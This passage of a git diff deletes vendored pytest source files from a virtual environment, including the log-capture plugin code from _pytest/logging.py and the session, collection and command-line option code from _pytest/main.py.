logger. - """ - logger_obj = logging.getLogger(logger) - orig_level = logger_obj.level - logger_obj.setLevel(level) - handler_orig_level = self.handler.level - self.handler.setLevel(level) - original_disable_level = self._force_enable_logging(level, logger_obj) - try: - yield - finally: - logger_obj.setLevel(orig_level) - self.handler.setLevel(handler_orig_level) - logging.disable(original_disable_level) - - @contextmanager - def filtering(self, filter_: logging.Filter) -> Generator[None]: - """Context manager that temporarily adds the given filter to the caplog's - :meth:`handler` for the 'with' statement block, and removes that filter at the - end of the block. - - :param filter_: A custom :class:`logging.Filter` object. - - .. versionadded:: 7.5 - """ - self.handler.addFilter(filter_) - try: - yield - finally: - self.handler.removeFilter(filter_) - - -@fixture -def caplog(request: FixtureRequest) -> Generator[LogCaptureFixture]: - """Access and control log capturing. - - Captured logs are available through the following properties/methods:: - - * caplog.messages -> list of format-interpolated log messages - * caplog.text -> string containing formatted log output - * caplog.records -> list of logging.LogRecord instances - * caplog.record_tuples -> list of (logger_name, level, message) tuples - * caplog.clear() -> clear captured records and formatted log output string - """ - result = LogCaptureFixture(request.node, _ispytest=True) - yield result - result._finalize() - - -def get_log_level_for_setting(config: Config, *setting_names: str) -> int | None: - for setting_name in setting_names: - log_level = config.getoption(setting_name) - if log_level is None: - log_level = config.getini(setting_name) - if log_level: - break - else: - return None - - if isinstance(log_level, str): - log_level = log_level.upper() - try: - return int(getattr(logging, log_level, log_level)) - except ValueError as e: - # Python logging does not recognise this as a logging level - raise UsageError( - f"'{log_level}' is not recognized as a logging level name for " - f"'{setting_name}'. Please consider passing the " - "logging level num instead." - ) from e - - -# run after terminalreporter/capturemanager are configured -@hookimpl(trylast=True) -def pytest_configure(config: Config) -> None: - config.pluginmanager.register(LoggingPlugin(config), "logging-plugin") - - -class LoggingPlugin: - """Attaches to the logging module and captures log messages for each test.""" - - def __init__(self, config: Config) -> None: - """Create a new plugin to capture log messages. - - The formatter can be safely shared across all handlers so - create a single one for the entire test session here. - """ - self._config = config - - # Report logging. - self.formatter = self._create_formatter( - get_option_ini(config, "log_format"), - get_option_ini(config, "log_date_format"), - get_option_ini(config, "log_auto_indent"), - ) - self.log_level = get_log_level_for_setting(config, "log_level") - self.caplog_handler = LogCaptureHandler() - self.caplog_handler.setFormatter(self.formatter) - self.report_handler = LogCaptureHandler() - self.report_handler.setFormatter(self.formatter) - - # File logging. - self.log_file_level = get_log_level_for_setting( - config, "log_file_level", "log_level" - ) - log_file = get_option_ini(config, "log_file") or os.devnull - if log_file != os.devnull: - directory = os.path.dirname(os.path.abspath(log_file)) - if not os.path.isdir(directory): - os.makedirs(directory) - - self.log_file_mode = get_option_ini(config, "log_file_mode") or "w" - self.log_file_handler = _FileHandler( - log_file, mode=self.log_file_mode, encoding="UTF-8" - ) - log_file_format = get_option_ini(config, "log_file_format", "log_format") - log_file_date_format = get_option_ini( - config, "log_file_date_format", "log_date_format" - ) - - log_file_formatter = DatetimeFormatter( - log_file_format, datefmt=log_file_date_format - ) - self.log_file_handler.setFormatter(log_file_formatter) - - # CLI/live logging. - self.log_cli_level = get_log_level_for_setting( - config, "log_cli_level", "log_level" - ) - if self._log_cli_enabled(): - terminal_reporter = config.pluginmanager.get_plugin("terminalreporter") - # Guaranteed by `_log_cli_enabled()`. - assert terminal_reporter is not None - capture_manager = config.pluginmanager.get_plugin("capturemanager") - # if capturemanager plugin is disabled, live logging still works. - self.log_cli_handler: ( - _LiveLoggingStreamHandler | _LiveLoggingNullHandler - ) = _LiveLoggingStreamHandler(terminal_reporter, capture_manager) - else: - self.log_cli_handler = _LiveLoggingNullHandler() - log_cli_formatter = self._create_formatter( - get_option_ini(config, "log_cli_format", "log_format"), - get_option_ini(config, "log_cli_date_format", "log_date_format"), - get_option_ini(config, "log_auto_indent"), - ) - self.log_cli_handler.setFormatter(log_cli_formatter) - self._disable_loggers(loggers_to_disable=config.option.logger_disable) - - def _disable_loggers(self, loggers_to_disable: list[str]) -> None: - if not loggers_to_disable: - return - - for name in loggers_to_disable: - logger = logging.getLogger(name) - logger.disabled = True - - def _create_formatter(self, log_format, log_date_format, auto_indent): - # Color option doesn't exist if terminal plugin is disabled. - color = getattr(self._config.option, "color", "no") - if color != "no" and ColoredLevelFormatter.LEVELNAME_FMT_REGEX.search( - log_format - ): - formatter: logging.Formatter = ColoredLevelFormatter( - create_terminal_writer(self._config), log_format, log_date_format - ) - else: - formatter = DatetimeFormatter(log_format, log_date_format) - - formatter._style = PercentStyleMultiline( - formatter._style._fmt, auto_indent=auto_indent - ) - - return formatter - - def set_log_path(self, fname: str) -> None: - """Set the filename parameter for Logging.FileHandler(). - - Creates parent directory if it does not exist. - - .. warning:: - This is an experimental API. - """ - fpath = Path(fname) - - if not fpath.is_absolute(): - fpath = self._config.rootpath / fpath - - if not fpath.parent.exists(): - fpath.parent.mkdir(exist_ok=True, parents=True) - - # https://github.com/python/mypy/issues/11193 - stream: io.TextIOWrapper = fpath.open(mode=self.log_file_mode, encoding="UTF-8") # type: ignore[assignment] - old_stream = self.log_file_handler.setStream(stream) - if old_stream: - old_stream.close() - - def _log_cli_enabled(self) -> bool: - """Return whether live logging is enabled.""" - enabled = self._config.getoption( - "--log-cli-level" - ) is not None or self._config.getini("log_cli") - if not enabled: - return False - - terminal_reporter = self._config.pluginmanager.get_plugin("terminalreporter") - if terminal_reporter is None: - # terminal reporter is disabled e.g. by pytest-xdist. - return False - - return True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_sessionstart(self) -> Generator[None]: - self.log_cli_handler.set_when("sessionstart") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection(self) -> Generator[None]: - self.log_cli_handler.set_when("collection") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtestloop(self, session: Session) -> Generator[None, object, object]: - if session.config.option.collectonly: - return (yield) - - if self._log_cli_enabled() and self._config.get_verbosity() < 1: - # The verbose flag is needed to avoid messy test progress output. - self._config.option.verbose = 1 - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) # Run all the tests. - - @hookimpl - def pytest_runtest_logstart(self) -> None: - self.log_cli_handler.reset() - self.log_cli_handler.set_when("start") - - @hookimpl - def pytest_runtest_logreport(self) -> None: - self.log_cli_handler.set_when("logreport") - - @contextmanager - def _runtest_for(self, item: nodes.Item, when: str) -> Generator[None]: - """Implement the internals of the pytest_runtest_xxx() hooks.""" - with ( - catching_logs( - self.caplog_handler, - level=self.log_level, - ) as caplog_handler, - catching_logs( - self.report_handler, - level=self.log_level, - ) as report_handler, - ): - caplog_handler.reset() - report_handler.reset() - item.stash[caplog_records_key][when] = caplog_handler.records - item.stash[caplog_handler_key] = caplog_handler - - try: - yield - finally: - log = report_handler.stream.getvalue().strip() - item.add_report_section(when, "log", log) - - @hookimpl(wrapper=True) - def pytest_runtest_setup(self, item: nodes.Item) -> Generator[None]: - self.log_cli_handler.set_when("setup") - - empty: dict[str, list[logging.LogRecord]] = {} - item.stash[caplog_records_key] = empty - with self._runtest_for(item, "setup"): - yield - - @hookimpl(wrapper=True) - def pytest_runtest_call(self, item: nodes.Item) -> Generator[None]: - self.log_cli_handler.set_when("call") - - with self._runtest_for(item, "call"): - yield - - @hookimpl(wrapper=True) - def pytest_runtest_teardown(self, item: nodes.Item) -> Generator[None]: - self.log_cli_handler.set_when("teardown") - - try: - with self._runtest_for(item, "teardown"): - yield - finally: - del item.stash[caplog_records_key] - del item.stash[caplog_handler_key] - - @hookimpl - def pytest_runtest_logfinish(self) -> None: - self.log_cli_handler.set_when("finish") - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_sessionfinish(self) -> Generator[None]: - self.log_cli_handler.set_when("sessionfinish") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl - def pytest_unconfigure(self) -> None: - # Close the FileHandler explicitly. - # (logging.shutdown might have lost the weakref?!) - self.log_file_handler.close() - - -class _FileHandler(logging.FileHandler): - """A logging FileHandler with pytest tweaks.""" - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass - - -class _LiveLoggingStreamHandler(logging_StreamHandler): - """A logging StreamHandler used by the live logging feature: it will - write a newline before the first log message in each test. - - During live logging we must also explicitly disable stdout/stderr - capturing otherwise it will get captured and won't appear in the - terminal. - """ - - # Officially stream needs to be a IO[str], but TerminalReporter - # isn't. So force it. - stream: TerminalReporter = None # type: ignore - - def __init__( - self, - terminal_reporter: TerminalReporter, - capture_manager: CaptureManager | None, - ) -> None: - super().__init__(stream=terminal_reporter) # type: ignore[arg-type] - self.capture_manager = capture_manager - self.reset() - self.set_when(None) - self._test_outcome_written = False - - def reset(self) -> None: - """Reset the handler; should be called before the start of each test.""" - self._first_record_emitted = False - - def set_when(self, when: str | None) -> None: - """Prepare for the given test phase (setup/call/teardown).""" - self._when = when - self._section_name_shown = False - if when == "start": - self._test_outcome_written = False - - def emit(self, record: logging.LogRecord) -> None: - ctx_manager = ( - self.capture_manager.global_and_fixture_disabled() - if self.capture_manager - else nullcontext() - ) - with ctx_manager: - if not self._first_record_emitted: - self.stream.write("\n") - self._first_record_emitted = True - elif self._when in ("teardown", "finish"): - if not self._test_outcome_written: - self._test_outcome_written = True - self.stream.write("\n") - if not self._section_name_shown and self._when: - self.stream.section("live log " + self._when, sep="-", bold=True) - self._section_name_shown = True - super().emit(record) - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass - - -class _LiveLoggingNullHandler(logging.NullHandler): - """A logging handler used when live logging is disabled.""" - - def reset(self) -> None: - pass - - def set_when(self, when: str) -> None: - pass - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass diff --git a/venv/Lib/site-packages/_pytest/main.py b/venv/Lib/site-packages/_pytest/main.py deleted file mode 100644 index c4df4e46983447614e3bf6ae860132b378562887..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/main.py +++ /dev/null @@ -1,1215 +0,0 @@ -"""Core implementation of the testing process: init, session, runtest loop.""" - -from __future__ import annotations - -import argparse -from collections.abc import Callable -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Sequence -from collections.abc import Set as AbstractSet -import dataclasses -import fnmatch -import functools -import importlib -import importlib.util -import os -from pathlib import Path -import sys -from typing import final -from typing import Literal -from typing import overload -from typing import TYPE_CHECKING -import warnings - -import pluggy - -from _pytest import nodes -import _pytest._code -from _pytest.config import Config -from _pytest.config import directory_arg -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.config import UsageError -from _pytest.config.argparsing import OverrideIniAction -from _pytest.config.argparsing import Parser -from _pytest.outcomes import exit -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import fnmatch_ex -from _pytest.pathlib import safe_exists -from _pytest.pathlib import samefile_nofollow -from _pytest.pathlib import scandir -from _pytest.reports import CollectReport -from _pytest.reports import TestReport -from _pytest.runner import collect_one_node -from _pytest.runner import SetupState -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - from typing_extensions import Self - - from _pytest.fixtures import FixtureManager - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group._addoption( # private to use reserved lower-case short option - "-x", - "--exitfirst", - action="store_const", - dest="maxfail", - const=1, - help="Exit instantly on first error or failed test", - ) - group.addoption( - "--maxfail", - metavar="num", - action="store", - type=int, - dest="maxfail", - default=0, - help="Exit after first num failures or errors", - ) - group.addoption( - "--strict-config", - action=OverrideIniAction, - ini_option="strict_config", - ini_value="true", - help="Enables the strict_config option", - ) - group.addoption( - "--strict-markers", - action=OverrideIniAction, - ini_option="strict_markers", - ini_value="true", - help="Enables the strict_markers option", - ) - group.addoption( - "--strict", - action=OverrideIniAction, - ini_option="strict", - ini_value="true", - help="Enables the strict option", - ) - parser.addini( - "strict_config", - "Any warnings encountered while parsing the `pytest` section of the " - "configuration file raise errors", - type="bool", - # None => fallback to `strict`. - default=None, - ) - parser.addini( - "strict_markers", - "Markers not registered in the `markers` section of the configuration " - "file raise errors", - type="bool", - # None => fallback to `strict`. - default=None, - ) - parser.addini( - "strict", - "Enables all strictness options, currently: " - "strict_config, strict_markers, strict_xfail, strict_parametrization_ids", - type="bool", - default=False, - ) - - group = parser.getgroup("pytest-warnings") - group.addoption( - "-W", - "--pythonwarnings", - action="append", - help="Set which warnings to report, see -W option of Python itself", - ) - group.addoption( - "--max-warnings", - action="store", - type=int, - default=None, - metavar="num", - dest="max_warnings", - help="Exit with error if all tests pass but the number of warnings exceeds this threshold", - ) - parser.addini( - "filterwarnings", - type="linelist", - help="Each line specifies a pattern for " - "warnings.filterwarnings. " - "Processed after -W/--pythonwarnings.", - ) - parser.addini( - "max_warnings", - help="Exit with error if all tests pass but the number of warnings exceeds this threshold", - ) - - group = parser.getgroup("collect", "collection") - group.addoption( - "--collectonly", - "--collect-only", - "--co", - action="store_true", - help="Only collect tests, don't execute them", - ) - group.addoption( - "--pyargs", - action="store_true", - help="Try to interpret all arguments as Python packages", - ) - group.addoption( - "--ignore", - action="append", - metavar="path", - help="Ignore path during collection (multi-allowed)", - ) - group.addoption( - "--ignore-glob", - action="append", - metavar="path", - help="Ignore path pattern during collection (multi-allowed)", - ) - group.addoption( - "--deselect", - action="append", - metavar="nodeid_prefix", - help="Deselect item (via node id prefix) during collection (multi-allowed)", - ) - group.addoption( - "--confcutdir", - dest="confcutdir", - default=None, - metavar="dir", - type=functools.partial(directory_arg, optname="--confcutdir"), - help="Only load conftest.py's relative to specified dir", - ) - group.addoption( - "--noconftest", - action="store_true", - dest="noconftest", - default=False, - help="Don't load any conftest.py files", - ) - group.addoption( - "--keepduplicates", - "--keep-duplicates", - action="store_true", - dest="keepduplicates", - default=False, - help="Keep duplicate tests", - ) - group.addoption( - "--collect-in-virtualenv", - action="store_true", - dest="collect_in_virtualenv", - default=False, - help="Don't ignore tests in a local virtualenv directory", - ) - group.addoption( - "--continue-on-collection-errors", - action="store_true", - default=False, - dest="continue_on_collection_errors", - help="Force test execution even if collection errors occur", - ) - group.addoption( - "--import-mode", - default="prepend", - choices=["prepend", "append", "importlib"], - dest="importmode", - help="Prepend/append to sys.path when importing test modules and conftest " - "files. Default: prepend.", - ) - parser.addini( - "norecursedirs", - "Directory patterns to avoid for recursion", - type="args", - default=[ - "*.egg", - ".*", - "_darcs", - "build", - "CVS", - "dist", - "node_modules", - "venv", - "{arch}", - ], - ) - parser.addini( - "testpaths", - "Directories to search for tests when no files or directories are given on the " - "command line", - type="args", - default=[], - ) - parser.addini( - "collect_imported_tests", - "Whether to collect tests in imported modules outside `testpaths`", - type="bool", - default=True, - ) - parser.addini( - "consider_namespace_packages", - type="bool", - default=False, - help="Consider namespace packages when resolving module names during import", - ) - - group = parser.getgroup("debugconfig", "test session debugging and configuration") - group._addoption( # private to use reserved lower-case short option - "-c", - "--config-file", - metavar="FILE", - type=str, - dest="inifilename", - help="Load configuration from `FILE` instead of trying to locate one of the " - "implicit configuration files.", - ) - group.addoption( - "--rootdir", - action="store", - dest="rootdir", - help="Define root directory for tests. Can be relative path: 'root_dir', './root_dir', " - "'root_dir/another_dir/'; absolute path: '/home/user/root_dir'; path with variables: " - "'$HOME/root_dir'.", - ) - group.addoption( - "--basetemp", - dest="basetemp", - default=None, - type=validate_basetemp, - metavar="dir", - help=( - "Base temporary directory for this test run. " - "(Warning: this directory is removed if it exists.)" - ), - ) - - -def validate_basetemp(path: str) -> str: - # GH 7119 - msg = "basetemp must not be empty, the current working directory or any parent directory of it" - - # empty path - if not path: - raise argparse.ArgumentTypeError(msg) - - def is_ancestor(base: Path, query: Path) -> bool: - """Return whether query is an ancestor of base.""" - if base == query: - return True - return query in base.parents - - # check if path is an ancestor of cwd - if is_ancestor(Path.cwd(), Path(path).absolute()): - raise argparse.ArgumentTypeError(msg) - - # check symlinks for ancestors - if is_ancestor(Path.cwd().resolve(), Path(path).resolve()): - raise argparse.ArgumentTypeError(msg) - - return path - - -def wrap_session( - config: Config, doit: Callable[[Config, Session], int | ExitCode | None] -) -> int | ExitCode: - """Skeleton command line program.""" - session = Session.from_config(config) - session.exitstatus = ExitCode.OK - initstate = 0 - try: - try: - config._do_configure() - initstate = 1 - config.hook.pytest_sessionstart(session=session) - initstate = 2 - session.exitstatus = doit(config, session) or 0 - except UsageError: - session.exitstatus = ExitCode.USAGE_ERROR - raise - except Failed: - session.exitstatus = ExitCode.TESTS_FAILED - except (KeyboardInterrupt, exit.Exception): - excinfo = _pytest._code.ExceptionInfo.from_current() - exitstatus: int | ExitCode = ExitCode.INTERRUPTED - if isinstance(excinfo.value, exit.Exception): - if excinfo.value.returncode is not None: - exitstatus = excinfo.value.returncode - if initstate < 2: - sys.stderr.write(f"{excinfo.typename}: {excinfo.value.msg}\n") - config.hook.pytest_keyboard_interrupt(excinfo=excinfo) - session.exitstatus = exitstatus - except BaseException: - session.exitstatus = ExitCode.INTERNAL_ERROR - excinfo = _pytest._code.ExceptionInfo.from_current() - try: - config.notify_exception(excinfo, config.option) - except exit.Exception as exc: - if exc.returncode is not None: - session.exitstatus = exc.returncode - sys.stderr.write(f"{type(exc).__name__}: {exc}\n") - else: - if isinstance(excinfo.value, SystemExit): - sys.stderr.write("mainloop: caught unexpected SystemExit!\n") - - finally: - # Explicitly break reference cycle. - excinfo = None # type: ignore - os.chdir(session.startpath) - if initstate >= 2: - try: - config.hook.pytest_sessionfinish( - session=session, exitstatus=session.exitstatus - ) - except exit.Exception as exc: - if exc.returncode is not None: - session.exitstatus = exc.returncode - sys.stderr.write(f"{type(exc).__name__}: {exc}\n") - config._ensure_unconfigure() - return session.exitstatus - - -def pytest_cmdline_main(config: Config) -> int | ExitCode: - return wrap_session(config, _main) - - -def _main(config: Config, session: Session) -> int | ExitCode | None: - """Default command line protocol for initialization, session, - running tests and reporting.""" - config.hook.pytest_collection(session=session) - config.hook.pytest_runtestloop(session=session) - - if session.testsfailed: - return ExitCode.TESTS_FAILED - elif session.testscollected == 0: - return ExitCode.NO_TESTS_COLLECTED - return None - - -def pytest_collection(session: Session) -> None: - session.perform_collect() - - -def pytest_runtestloop(session: Session) -> bool: - if session.testsfailed and not session.config.option.continue_on_collection_errors: - raise session.Interrupted( - f"{session.testsfailed} error{'s' if session.testsfailed != 1 else ''} during collection" - ) - - if session.config.option.collectonly: - return True - - for i, item in enumerate(session.items): - nextitem = session.items[i + 1] if i + 1 < len(session.items) else None - item.config.hook.pytest_runtest_protocol(item=item, nextitem=nextitem) - if session.shouldfail: - raise session.Failed(session.shouldfail) - if session.shouldstop: - raise session.Interrupted(session.shouldstop) - return True - - -def _in_venv(path: Path) -> bool: - """Attempt to detect if ``path`` is the root of a Virtual Environment by - checking for the existence of the pyvenv.cfg file. - - [https://peps.python.org/pep-0405/] - - For regression protection we also check for conda environments that do not include pyenv.cfg yet -- - https://github.com/conda/conda/issues/13337 is the conda issue tracking adding pyenv.cfg. - - Checking for the `conda-meta/history` file per https://github.com/pytest-dev/pytest/issues/12652#issuecomment-2246336902. - - """ - try: - return ( - path.joinpath("pyvenv.cfg").is_file() - or path.joinpath("conda-meta", "history").is_file() - ) - except OSError: - return False - - -def pytest_ignore_collect(collection_path: Path, config: Config) -> bool | None: - if collection_path.name == "__pycache__": - return True - - ignore_paths = config._getconftest_pathlist( - "collect_ignore", path=collection_path.parent - ) - ignore_paths = ignore_paths or [] - excludeopt = config.getoption("ignore") - if excludeopt: - ignore_paths.extend(absolutepath(x) for x in excludeopt) - - if collection_path in ignore_paths: - return True - - ignore_globs = config._getconftest_pathlist( - "collect_ignore_glob", path=collection_path.parent - ) - ignore_globs = ignore_globs or [] - excludeglobopt = config.getoption("ignore_glob") - if excludeglobopt: - ignore_globs.extend(absolutepath(x) for x in excludeglobopt) - - if any(fnmatch.fnmatch(str(collection_path), str(glob)) for glob in ignore_globs): - return True - - allow_in_venv = config.getoption("collect_in_virtualenv") - if not allow_in_venv and _in_venv(collection_path): - return True - - if collection_path.is_dir(): - norecursepatterns = config.getini("norecursedirs") - if any(fnmatch_ex(pat, collection_path) for pat in norecursepatterns): - return True - - return None - - -def pytest_collect_directory( - path: Path, parent: nodes.Collector -) -> nodes.Collector | None: - return Dir.from_parent(parent, path=path) - - -def pytest_collection_modifyitems(items: list[nodes.Item], config: Config) -> None: - deselect_prefixes = tuple(config.getoption("deselect") or []) - if not deselect_prefixes: - return - - remaining = [] - deselected = [] - for colitem in items: - if colitem.nodeid.startswith(deselect_prefixes): - deselected.append(colitem) - else: - remaining.append(colitem) - - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -class FSHookProxy: - def __init__( - self, - pm: PytestPluginManager, - remove_mods: AbstractSet[object], - ) -> None: - self.pm = pm - self.remove_mods = remove_mods - - def __getattr__(self, name: str) -> pluggy.HookCaller: - x = self.pm.subset_hook_caller(name, remove_plugins=self.remove_mods) - self.__dict__[name] = x - return x - - -class Interrupted(KeyboardInterrupt): - """Signals that the test run was interrupted.""" - - __module__ = "builtins" # For py3. - - -class Failed(Exception): - """Signals a stop as failed test run.""" - - -@dataclasses.dataclass -class _bestrelpath_cache(dict[Path, str]): - __slots__ = ("path",) - - path: Path - - def __missing__(self, path: Path) -> str: - r = bestrelpath(self.path, path) - self[path] = r - return r - - -@final -class Dir(nodes.Directory): - """Collector of files in a file system directory. - - .. versionadded:: 8.0 - - .. note:: - - Python directories with an `__init__.py` file are instead collected by - :class:`~pytest.Package` by default. Both are :class:`~pytest.Directory` - collectors. - """ - - @classmethod - def from_parent( # type: ignore[override] - cls, - parent: nodes.Collector, - *, - path: Path, - ) -> Self: - """The public constructor. - - :param parent: The parent collector of this Dir. - :param path: The directory's path. - :type path: pathlib.Path - """ - return super().from_parent(parent=parent, path=path) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - config = self.config - col: nodes.Collector | None - cols: Sequence[nodes.Collector] - ihook = self.ihook - for direntry in scandir(self.path): - if direntry.is_dir(): - path = Path(direntry.path) - if not self.session.isinitpath(path, with_parents=True): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - col = ihook.pytest_collect_directory(path=path, parent=self) - if col is not None: - yield col - - elif direntry.is_file(): - path = Path(direntry.path) - if not self.session.isinitpath(path): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - cols = ihook.pytest_collect_file(file_path=path, parent=self) - yield from cols - - -@final -class Session(nodes.Collector): - """The root of the collection tree. - - ``Session`` collects the initial paths given as arguments to pytest. - """ - - Interrupted = Interrupted - Failed = Failed - # Set on the session by runner.pytest_sessionstart. - _setupstate: SetupState - # Set on the session by fixtures.pytest_sessionstart. - _fixturemanager: FixtureManager - exitstatus: int | ExitCode - - def __init__(self, config: Config) -> None: - super().__init__( - name="", - path=config.rootpath, - fspath=None, - parent=None, - config=config, - session=self, - nodeid="", - ) - self.testsfailed = 0 - self.testscollected = 0 - self._shouldstop: bool | str = False - self._shouldfail: bool | str = False - self.trace = config.trace.root.get("collection") - self._initialpaths: frozenset[Path] = frozenset() - self._initialpaths_with_parents: frozenset[Path] = frozenset() - self._notfound: list[tuple[str, Sequence[nodes.Collector]]] = [] - self._initial_parts: list[CollectionArgument] = [] - self._collection_cache: dict[nodes.Collector, CollectReport] = {} - self.items: list[nodes.Item] = [] - - self._bestrelpathcache: dict[Path, str] = _bestrelpath_cache(config.rootpath) - - self.config.pluginmanager.register(self, name="session") - - @classmethod - def from_config(cls, config: Config) -> Session: - session: Session = cls._create(config=config) - return session - - def __repr__(self) -> str: - return ( - f"<{self.__class__.__name__} {self.name} " - f"exitstatus=%r " - f"testsfailed={self.testsfailed} " - f"testscollected={self.testscollected}>" - ) % getattr(self, "exitstatus", "") - - @property - def shouldstop(self) -> bool | str: - return self._shouldstop - - @shouldstop.setter - def shouldstop(self, value: bool | str) -> None: - # The runner checks shouldfail and assumes that if it is set we are - # definitely stopping, so prevent unsetting it. - if value is False and self._shouldstop: - warnings.warn( - PytestWarning( - "session.shouldstop cannot be unset after it has been set; ignoring." - ), - stacklevel=2, - ) - return - self._shouldstop = value - - @property - def shouldfail(self) -> bool | str: - return self._shouldfail - - @shouldfail.setter - def shouldfail(self, value: bool | str) -> None: - # The runner checks shouldfail and assumes that if it is set we are - # definitely stopping, so prevent unsetting it. - if value is False and self._shouldfail: - warnings.warn( - PytestWarning( - "session.shouldfail cannot be unset after it has been set; ignoring." - ), - stacklevel=2, - ) - return - self._shouldfail = value - - @property - def startpath(self) -> Path: - """The path from which pytest was invoked. - - .. versionadded:: 7.0.0 - """ - return self.config.invocation_params.dir - - def _node_location_to_relpath(self, node_path: Path) -> str: - # bestrelpath is a quite slow function. - return self._bestrelpathcache[node_path] - - @hookimpl(tryfirst=True) - def pytest_collectstart(self) -> None: - if self.shouldfail: - raise self.Failed(self.shouldfail) - if self.shouldstop: - raise self.Interrupted(self.shouldstop) - - @hookimpl(tryfirst=True) - def pytest_runtest_logreport(self, report: TestReport | CollectReport) -> None: - if report.failed and not hasattr(report, "wasxfail"): - self.testsfailed += 1 - maxfail = self.config.getvalue("maxfail") - if maxfail and self.testsfailed >= maxfail: - self.shouldfail = f"stopping after {self.testsfailed} failures" - - pytest_collectreport = pytest_runtest_logreport - - def isinitpath( - self, - path: str | os.PathLike[str], - *, - with_parents: bool = False, - ) -> bool: - """Is path an initial path? - - An initial path is a path explicitly given to pytest on the command - line. - - :param with_parents: - If set, also return True if the path is a parent of an initial path. - - .. versionchanged:: 8.0 - Added the ``with_parents`` parameter. - """ - # Optimization: Path(Path(...)) is much slower than isinstance. - path_ = path if isinstance(path, Path) else Path(path) - if with_parents: - return path_ in self._initialpaths_with_parents - else: - return path_ in self._initialpaths - - def gethookproxy(self, fspath: os.PathLike[str]) -> pluggy.HookRelay: - # Optimization: Path(Path(...)) is much slower than isinstance. - path = fspath if isinstance(fspath, Path) else Path(fspath) - pm = self.config.pluginmanager - # Check if we have the common case of running - # hooks with all conftest.py files. - my_conftestmodules = pm._getconftestmodules(path) - remove_mods = pm._conftest_plugins.difference(my_conftestmodules) - proxy: pluggy.HookRelay - if remove_mods: - # One or more conftests are not in use at this path. - proxy = FSHookProxy(pm, remove_mods) # type: ignore[assignment] - else: - # All plugins are active for this fspath. - proxy = self.config.hook - return proxy - - def _collect_path( - self, - path: Path, - path_cache: dict[Path, Sequence[nodes.Collector]], - ) -> Sequence[nodes.Collector]: - """Create a Collector for the given path. - - `path_cache` makes it so the same Collectors are returned for the same - path. - """ - if path in path_cache: - return path_cache[path] - - if path.is_dir(): - ihook = self.gethookproxy(path.parent) - col: nodes.Collector | None = ihook.pytest_collect_directory( - path=path, parent=self - ) - cols: Sequence[nodes.Collector] = (col,) if col is not None else () - - elif path.is_file(): - ihook = self.gethookproxy(path) - cols = ihook.pytest_collect_file(file_path=path, parent=self) - - else: - # Broken symlink or invalid/missing file. - cols = () - - path_cache[path] = cols - return cols - - @overload - def perform_collect( - self, args: Sequence[str] | None = ..., genitems: Literal[True] = ... - ) -> Sequence[nodes.Item]: ... - - @overload - def perform_collect( - self, args: Sequence[str] | None = ..., genitems: bool = ... - ) -> Sequence[nodes.Item | nodes.Collector]: ... - - def perform_collect( - self, args: Sequence[str] | None = None, genitems: bool = True - ) -> Sequence[nodes.Item | nodes.Collector]: - """Perform the collection phase for this session. - - This is called by the default :hook:`pytest_collection` hook - implementation; see the documentation of this hook for more details. - For testing purposes, it may also be called directly on a fresh - ``Session``. - - This function normally recursively expands any collectors collected - from the session to their items, and only items are returned. For - testing purposes, this may be suppressed by passing ``genitems=False``, - in which case the return value contains these collectors unexpanded, - and ``session.items`` is empty. - """ - if args is None: - args = self.config.args - - self.trace("perform_collect", self, args) - self.trace.root.indent += 1 - - hook = self.config.hook - - self._notfound = [] - self._initial_parts = [] - self._collection_cache = {} - self.items = [] - items: Sequence[nodes.Item | nodes.Collector] = self.items - consider_namespace_packages: bool = self.config.getini( - "consider_namespace_packages" - ) - try: - initialpaths: list[Path] = [] - initialpaths_with_parents: list[Path] = [] - - collection_args = [ - resolve_collection_argument( - self.config.invocation_params.dir, - arg, - i, - as_pypath=self.config.option.pyargs, - consider_namespace_packages=consider_namespace_packages, - ) - for i, arg in enumerate(args) - ] - - if not self.config.getoption("keepduplicates"): - # Normalize the collection arguments -- remove duplicates and overlaps. - self._initial_parts = normalize_collection_arguments(collection_args) - else: - self._initial_parts = collection_args - - for collection_argument in self._initial_parts: - initialpaths.append(collection_argument.path) - initialpaths_with_parents.append(collection_argument.path) - initialpaths_with_parents.extend(collection_argument.path.parents) - self._initialpaths = frozenset(initialpaths) - self._initialpaths_with_parents = frozenset(initialpaths_with_parents) - - rep = collect_one_node(self) - self.ihook.pytest_collectreport(report=rep) - self.trace.root.indent -= 1 - if self._notfound: - errors = [] - for arg, collectors in self._notfound: - if collectors: - errors.append( - f"not found: {arg}\n(no match in any of {collectors!r})" - ) - else: - errors.append(f"found no collectors for {arg}") - - raise UsageError(*errors) - - if not genitems: - items = rep.result - else: - if rep.passed: - for node in rep.result: - self.items.extend(self.genitems(node)) - - self.config.pluginmanager.check_pending() - hook.pytest_collection_modifyitems( - session=self, config=self.config, items=items - ) - finally: - self._notfound = [] - self._initial_parts = [] - self._collection_cache = {} - hook.pytest_collection_finish(session=self) - - if genitems: - self.testscollected = len(items) - - return items - - def _collect_one_node( - self, - node: nodes.Collector, - handle_dupes: bool = True, - ) -> 